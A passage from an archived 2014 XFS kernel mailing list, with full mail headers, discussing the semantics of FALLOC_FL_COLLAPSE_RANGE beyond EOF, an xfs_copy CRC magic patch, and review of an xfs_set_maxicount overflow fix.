fact, be a truncate > > > operation? > > > > Trying to collapse a range that extends beyond EOF, IMO, is likely > > to only happen if the DVR/NLE application is buggy. Hence I think > > that telling the application it is doing something that is likely to > > be wrong is better than silently truncating the file.... > > I do agree with Ted on this point. This is not an xfs ioctl added > for one DVR/NLE application, it's a mode of a Linux system call. > > We do not usually reject with an error when one system call happens > to ask for something which can already be accomplished another way; > nor nanny our callers. > > It seems natural to me that COLLAPSE_RANGE should support beyond EOF; > unless that adds significantly to implementation difficulties? Yes, it does add to the implementation complexity significantly - it adds data security issues that don't exist with the current API. That is, Filesystems can have uninitialised blocks beyond EOF so if we allow COLLAPSE_RANGE to shift them down within EOF, we now have to ensure they are properly zeroed or marked as unwritten. It also makes implementations more difficult. For example, XFS can also have in-memory delayed allocation extents beyond EOF, and they can't be brought into the range < EOF without either: a) inserting zeroed pages with appropriately set up and mapped bufferheads into the page cache for the range that sits within EOF; or b) truncating the delalloc extents beyond EOF before the move So, really, the moment you go beyond EOF filesystems have to do quite a bit more validation and IO in the context of the system call. It no longer becomes a pure extent manipulation offload - it becomes a data security problem. And, indeed, the specification that we are working to is that the applications that want to collapse the range of a file are using this function instead of read/memcpy/write/truncate, which by definition means they cannot shift ranges of the file beyond EOF into the new file. So IMO the API defines the functionality as required by the applications that require it and *no more*. If you need some different behaviour - we can add it via additional flags in future when you have an application that requires it. > Actually, is it even correct to fail at EOF? What if fallocation > with FALLOC_FL_KEEP_SIZE was used earlier, to allocate beyond EOF: > shouldn't it be possible to shift that allocation down, along with > the EOF, rather than leave it behind as a stranded island? It does get shifted down - it just remains beyond EOF, just like it was before the operation. And that is part of the specification of COLLAPSE_RANGE - it was done so that preallocation (physical or speculative delayed allocation) beyond EOF to avoid fragmentation as the DVR continues to write is not screwed up by chopping out earlier parts of the file. Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Tue Feb 25 20:03:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9BDE87F50 for ; Tue, 25 Feb 2014 20:03:26 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 761EF8F806F for ; Tue, 25 Feb 2014 18:03:23 -0800 (PST) X-ASG-Debug-ID: 1393380202-04cbb066e643780001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id NEQSqZhYX74AaYPF for ; Tue, 25 Feb 2014 18:03:22 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1Q23Mdx022748 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 25 Feb 2014 21:03:22 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1Q23LIF008762 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Tue, 25 Feb 2014 21:03:21 -0500 Message-ID: <530D4B68.9090905@redhat.com> Date: Tue, 25 Feb 2014 20:03:20 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfs_copy: accept XFS_ABTB_CRC_MAGIC X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs_copy: accept XFS_ABTB_CRC_MAGIC Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393380202 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 xfs_copy needs a fair bit of work for CRCs because it rewrites UUIDs by default, but this change will get it working properly with the "-d" (duplicate) option which keeps the same UUID. Signed-off-by: Eric Sandeen --- However, I wonder if we should fail CRC filesystems outright for now if -d isn't specified, because it will invalidate every CRC and generally make a mess of things... diff --git a/copy/xfs_copy.c b/copy/xfs_copy.c index 9986fbf..7c807a4 100644 --- a/copy/xfs_copy.c +++ b/copy/xfs_copy.c @@ -957,7 +957,9 @@ main(int argc, char **argv) ((char *)btree_buf.data + pos - btree_buf.position); - ASSERT(be32_to_cpu(block->bb_magic) == XFS_ABTB_MAGIC); + ASSERT(be32_to_cpu(block->bb_magic) == + (xfs_sb_version_hascrc(&mp->m_sb) ? + XFS_ABTB_CRC_MAGIC : XFS_ABTB_MAGIC)); if (be16_to_cpu(block->bb_level) == 0) break; From BATV+aecd5b2c528ca55684d7+3839+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 20:07:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 14C3F7F50 for ; Tue, 25 Feb 2014 20:07:42 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A48C3AC002 for ; Tue, 25 Feb 2014 18:07:38 -0800 (PST) X-ASG-Debug-ID: 1393380457-04bdf05dac43eb0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id mjaD0gWDAldqGpBW (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 18:07:37 -0800 (PST) X-Barracuda-Envelope-From: BATV+aecd5b2c528ca55684d7+3839+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WITuL-0006lB-IG; Wed, 26 Feb 2014 02:07:37 +0000 Date: Tue, 25 Feb 2014 18:07:37 -0800 From: Christoph Hellwig To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfs_copy: accept XFS_ABTB_CRC_MAGIC Message-ID: <20140226020737.GA21877@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs_copy: accept XFS_ABTB_CRC_MAGIC References: <530D4B68.9090905@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530D4B68.9090905@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1393380457 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145516 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 08:03:20PM -0600, Eric Sandeen wrote: > xfs_copy needs a fair bit of work for CRCs because it rewrites > UUIDs by default, but this change will get it working properly > with the "-d" (duplicate) option which keeps the same UUID. I don't think ASSERTs for user supplied data are a good idea, this should be some real error handling. > However, I wonder if we should fail CRC filesystems outright > for now if -d isn't specified, because it will invalidate every > CRC and generally make a mess of things... Yeah, for now it probably should be rejected. It would also be useful to have a list of such issues in an README.v5 or TODO.v5 file in the xfsprogs tree. From BATV+aecd5b2c528ca55684d7+3839+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 20:11:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 58F5E7F50 for ; Tue, 25 Feb 2014 20:11:17 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E090CAC003 for ; Tue, 25 Feb 2014 18:11:16 -0800 (PST) X-ASG-Debug-ID: 1393380675-04cbb066e543c30001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id AJJhLXAizt1el9nw (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 18:11:15 -0800 (PST) X-Barracuda-Envelope-From: BATV+aecd5b2c528ca55684d7+3839+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WITxq-0008BY-Up; Wed, 26 Feb 2014 02:11:14 +0000 Date: Tue, 25 Feb 2014 18:11:14 -0800 From: Christoph Hellwig To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfs: clean up xfs_set_maxicount & use in growfs Message-ID: <20140226021114.GA26022@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: clean up xfs_set_maxicount & use in growfs References: <530C29C7.90001@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530C29C7.90001@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1393380675 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145516 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Mon, Feb 24, 2014 at 11:27:35PM -0600, Eric Sandeen wrote: > xfs_set_maxicount() overflowed fairly easily for large filesystems > and large maxicount; we started out by multiplying dblocks by > the percentage, *then* dividing by 100, and never checked for > an overflow. The calculations were also, IMHO, a little hard > to follow. Would be useful to get this test case into xfstests.. > -STATIC void > +void > xfs_set_maxicount(xfs_mount_t *mp) > { > xfs_sb_t *sbp = &(mp->m_sb); > - __uint64_t icount; > + __uint64_t iblocks; Seems like this could move into the if clause below. > @@ -388,6 +388,7 @@ extern int xfs_mod_incore_sb_batch(xfs_mount_t *, xfs_mod_sb_t *, > extern int xfs_mount_log_sb(xfs_mount_t *, __int64_t); > extern struct xfs_buf *xfs_getsb(xfs_mount_t *, int); > extern int xfs_readsb(xfs_mount_t *, int); > +void xfs_set_maxicount(xfs_mount_t *mp); > extern void xfs_freesb(xfs_mount_t *); > extern int xfs_fs_writable(xfs_mount_t *); > extern int xfs_sb_validate_fsb_count(struct xfs_sb *, __uint64_t); A missing extern while all other prototypes around it have one seems rather odd. From BATV+aecd5b2c528ca55684d7+3839+infradead.org+hch@bombadil.srs.infradead.org Tue Feb 25 20:15:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F3DDF7F50 for ; Tue, 25 Feb 2014 20:15:26 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 891C4AC002 for ; Tue, 25 Feb 2014 18:15:26 -0800 (PST) X-ASG-Debug-ID: 1393380925-04bdf05dac44270001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id wzOoMjf2uEcwUAHl (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 18:15:25 -0800 (PST) X-Barracuda-Envelope-From: BATV+aecd5b2c528ca55684d7+3839+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WIU1t-0000rO-BI; Wed, 26 Feb 2014 02:15:25 +0000 Date: Tue, 25 Feb 2014 18:15:25 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: byte range buffer dirty region tracking Message-ID: <20140226021525.GB26022@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] [RFC] xfs: byte range buffer dirty region tracking References: <1393194354-12780-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393194354-12780-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1393380925 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145516 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Interesting. I had a prototype of this supporting just a single region a while ago, but never managed to get it to pass all recovery tests. That was before I separated the in-core from the on-disk log items, though. > Hence if we just track a signle region, it will almost always cover > the entire directory buffer - if we only modify a single entry in > the buffer, then that's a fairly large cost in terms of log space > and CPU overhead for random individual operations. If we decide that > we are going to use a single range, then we may as well just use the > dirty flag and log the entire buffer every time. Which might not be an all that bad idea given how much log bandwith we have available. Defintively would be interesting to instrument and benchmark it vs the 4 regions version. Note that we probably should also introduce a log incompat feature to just log the range instead of converting it to the old bitmap for v5 filesystems. From sandeen@redhat.com Tue Feb 25 20:18:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4D1F17F50 for ; Tue, 25 Feb 2014 20:18:38 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2810830406A for ; Tue, 25 Feb 2014 18:18:35 -0800 (PST) X-ASG-Debug-ID: 1393381113-04bdf05daa443c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id AAA6Lvsg4EGNwSr8 for ; Tue, 25 Feb 2014 18:18:34 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1Q2IAJF002978 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Feb 2014 21:18:10 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1Q2I9RT012363 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Tue, 25 Feb 2014 21:18:09 -0500 Message-ID: <530D4EE1.6040601@redhat.com> Date: Tue, 25 Feb 2014 20:18:09 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Christoph Hellwig CC: xfs-oss Subject: Re: [PATCH] xfs: clean up xfs_set_maxicount & use in growfs References: <530C29C7.90001@redhat.com> <20140226021114.GA26022@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: clean up xfs_set_maxicount & use in growfs In-Reply-To: <20140226021114.GA26022@infradead.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393381114 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 2/25/14, 8:11 PM, Christoph Hellwig wrote: > On Mon, Feb 24, 2014 at 11:27:35PM -0600, Eric Sandeen wrote: >> xfs_set_maxicount() overflowed fairly easily for large filesystems >> and large maxicount; we started out by multiplying dblocks by >> the percentage, *then* dividing by 100, and never checked for >> an overflow. The calculations were also, IMHO, a little hard >> to follow. > > Would be useful to get this test case into xfstests.. Your'e bot, aren't you. ;) yeah you're right. I went down this path by starting a testcase for 3-patches-ago, and got here. That one can be sent soon, and sure, it'd be worth doing this too. >> -STATIC void >> +void >> xfs_set_maxicount(xfs_mount_t *mp) >> { >> xfs_sb_t *sbp = &(mp->m_sb); >> - __uint64_t icount; >> + __uint64_t iblocks; > > Seems like this could move into the if clause below. > >> @@ -388,6 +388,7 @@ extern int xfs_mod_incore_sb_batch(xfs_mount_t *, xfs_mod_sb_t *, >> extern int xfs_mount_log_sb(xfs_mount_t *, __int64_t); >> extern struct xfs_buf *xfs_getsb(xfs_mount_t *, int); >> extern int xfs_readsb(xfs_mount_t *, int); >> +void xfs_set_maxicount(xfs_mount_t *mp); >> extern void xfs_freesb(xfs_mount_t *); >> extern int xfs_fs_writable(xfs_mount_t *); >> extern int xfs_sb_validate_fsb_count(struct xfs_sb *, __uint64_t); > > A missing extern while all other prototypes around it have one seems > rather odd. Sure does! -Eric From david@fromorbit.com Tue Feb 25 21:42:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BF40F7F37 for ; Tue, 25 Feb 2014 21:42:37 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A3A0B8F8073 for ; Tue, 25 Feb 2014 19:42:37 -0800 (PST) X-ASG-Debug-ID: 1393386154-04cbb066e546800001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id tDjG7XAeONlrR7C8 for ; Tue, 25 Feb 2014 19:42:35 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjRNACFiDVN5LJYePGdsb2JhbABYgwaDQ4UMs3KFVoEWFwMBAQEBODWCJQEBBAE6HCMQCAMOCgklDwUlAwcaE4d9B8hMFxaOOgeEOASYNYpTiUWBUig Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 14:12:32 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIVOA-0003Et-65; Wed, 26 Feb 2014 14:42:30 +1100 Date: Wed, 26 Feb 2014 14:42:30 +1100 From: Dave Chinner To: Andrew Morton Cc: Hugh Dickins , Namjae Jeon , Matthew Wilcox , Theodore Ts'o , Stephen Rothwell , viro@zeniv.linux.org.uk, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, linux-mm@kvack.org, Namjae Jeon Subject: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: <20140226034230.GO13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate References: <1392741436-19995-1-git-send-email-linkinjeon@gmail.com> <20140224005710.GH4317@dastard> <20140225141601.358f6e3df2660d4af44da876@canb.auug.org.au> <20140225041346.GA29907@dastard> <20140225154128.947a2de83a2d0dc21763ccf9@linux-foundation.org> <20140226013426.GM13647@dastard> <20140225175216.0f0c10f9.akpm@linux-foundation.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140225175216.0f0c10f9.akpm@linux-foundation.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393386154 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145518 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 05:52:16PM -0800, Andrew Morton wrote: > On Wed, 26 Feb 2014 12:34:26 +1100 Dave Chinner wrote: > > > On Tue, Feb 25, 2014 at 03:41:28PM -0800, Andrew Morton wrote: > > > On Tue, 25 Feb 2014 15:23:35 -0800 (PST) Hugh Dickins wrote: > > > > On Tue, 25 Feb 2014, Dave Chinner wrote: > > > > > On Tue, Feb 25, 2014 at 02:16:01PM +1100, Stephen Rothwell wrote: > > > > > > On Mon, 24 Feb 2014 11:57:10 +1100 Dave Chinner wrote: > > > > FALLOC_FL_COLLAPSE_RANGE: I'm a little sad at the name COLLAPSE, > > > > but probably seven months too late to object. It surprises me that > > > > you're doing all this work to deflate a part of the file, without > > > > the obvious complementary work to inflate it - presumably all those > > > > advertisers whose ads you're cutting out, will come back to us soon > > > > to ask for inflation, so that they have somewhere to reinsert them ;) > > > > > > Yes, I was wondering that. Why not simply "move these blocks from here > > > to there". > > > > And open a completely unnecessary can of worms to do with > > behavioural and implementation corner cases? > > But it's general. Exactly. And because it's general, you can't make arbitrary decisions about the behaviour. > > Do you allow it to destroy data by default? Or only allow moves into > > holes? > > Overwrite. Application dev says: "I don't want it to overwrite data - I only want to it succeed if it's moving into a hole that I've already prepared". > > What do you do with range the data is moved out of? Does it just > > become a hole? What happens if the range overlaps EOF - does that > > change the file size? > > Truncate. A.D. says: "But I need FALLOC_FL_KEEP_SIZE semantics" > > What if you want to move the range beyond EOF? > > Extend. Filesystem developer says: "Ok, so what happens to the range between the old EOF and destintation offset? What do you do with blocks beyond EOF that fall within that range? punch, zero, preallocate the entire range? Do users need to be able to specify this behaviour? Hell, do we even know of an application that requires this behaviour?" > > What if the source and destination ranges overlap? > > Don't screw it up. Exactly my point - it's a complex behaviour that is difficult to verify that it is correct. > > What happens when you move the block at EOF into the middle of a > > file - do you end up with zeros padding the block and the file size > > having to be adjusted accordingly? Or do we have to *copy* all the > > data in high blocks down to fill the hole in the block? > > I don't understand that. Move the block(s) and truncate to the new > length. So, you are saying this (move from s to d): +-----------------------------------------------------+ +sssssssssssss+ +ddddddddddddd+ should result in: +--------+ddddddddddddd+ A.D. says: "That's not what I asked for! What happened to all the rest of my data in the file between d and s? I didn't ask for them to be removed. And I want a hole where the source was!" > > What behaviour should we expect if the filesystem can't implement > > the entire move atomically and we crash in the middle of the move? > > What does collapse_range do now? > > If it's a journaled filesystem, it shouldn't screw up. If it isn't, fsck. Define "screw up". For journalled filesystems "don't screw up" means the filesystem will be consistent after a crash, not that a change made in a syscall is completed atomicly. Indeed, collapse range isn't implemented atomically in XFS, and I doubt it is in ext4. Why? Because the extent tree being manipulated can be *much* larger than the journal and so the changes can't easily be done atomically from a crash recovery perspective. The result is that collapse range will end up with a hole somewhere in the file the size of the range being collapsed. This was pointed out during review some time in the past 6 months and, IIRC, the response was "that's fine, just so long as the filesystem is not corrupted". I have plans to fix this issue in XFS, but it isn't critical to the correct functioning of devices using collapse range. This just illustrates my point is that behaviour needs to be specified so that we can get all filesystems with the same minimum crash guarantees.... > > I can keep going, but I'll stop here - you get the idea. > > None of this seems like rocket science. It's not rocket science, but the devil is in the details. There's no requirements or specification to work from, let alone an application that needs such generic functionality. Until these exist and there's someone willing to put the effort into specifying, implementing and testing such an interface, it's just not going to happen. > > In comparison, collapse range as a file data manipulation has very > > specific requirements and from that we can define a simple, specific > > API that allows filesystems to accelerate that operation by extent > > manipulation rather than read/memcpy/write that the applications are > > currently doing for this operation.... IOWs, collapse range is a > > simple operation, "move arbitrary blocks from here to there" is a > > nightmare both from the specification and the implementation points > > of view. > > collapse_range seems weird, arbitrary and half-assed. "Why didn't they > go all the way and do it properly". Yup, I can apply exactly the same argument to FALLOC_FL_PREALLOC and FALLOC_FL_PUNCH_HOLE. We should have done them as part of a generic block movement API as they are simply degenerate cases of NULL source/destination targets for the block movement API.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From takeuchi_satoru@jp.fujitsu.com Tue Feb 25 22:39:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 48A1F7F37 for ; Tue, 25 Feb 2014 22:39:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id BABE0AC002 for ; Tue, 25 Feb 2014 20:39:12 -0800 (PST) X-ASG-Debug-ID: 1393389549-04cbb066e6483b0001-NocioJ Received: from fgwmail6.fujitsu.co.jp (fgwmail6.fujitsu.co.jp [192.51.44.36]) by cuda.sgi.com with ESMTP id R4BHGCxwMju4CiSt (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Feb 2014 20:39:10 -0800 (PST) X-Barracuda-Envelope-From: takeuchi_satoru@jp.fujitsu.com X-Barracuda-Apparent-Source-IP: 192.51.44.36 Received: from m2.gw.fujitsu.co.jp (unknown [10.0.50.72]) by fgwmail6.fujitsu.co.jp (Postfix) with ESMTP id B1BFB3EE0B6 for ; Wed, 26 Feb 2014 13:39:08 +0900 (JST) Received: from smail (m2 [127.0.0.1]) by outgoing.m2.gw.fujitsu.co.jp (Postfix) with ESMTP id A406E45DE4D for ; Wed, 26 Feb 2014 13:39:08 +0900 (JST) Received: from s2.gw.fujitsu.co.jp (s2.gw.nic.fujitsu.com [10.0.50.92]) by m2.gw.fujitsu.co.jp (Postfix) with ESMTP id 8CAF145DE3E for ; Wed, 26 Feb 2014 13:39:08 +0900 (JST) Received: from s2.gw.fujitsu.co.jp (localhost.localdomain [127.0.0.1]) by s2.gw.fujitsu.co.jp (Postfix) with ESMTP id 808C1E08002 for ; Wed, 26 Feb 2014 13:39:08 +0900 (JST) Received: from g01jpfmpwkw01.exch.g01.fujitsu.local 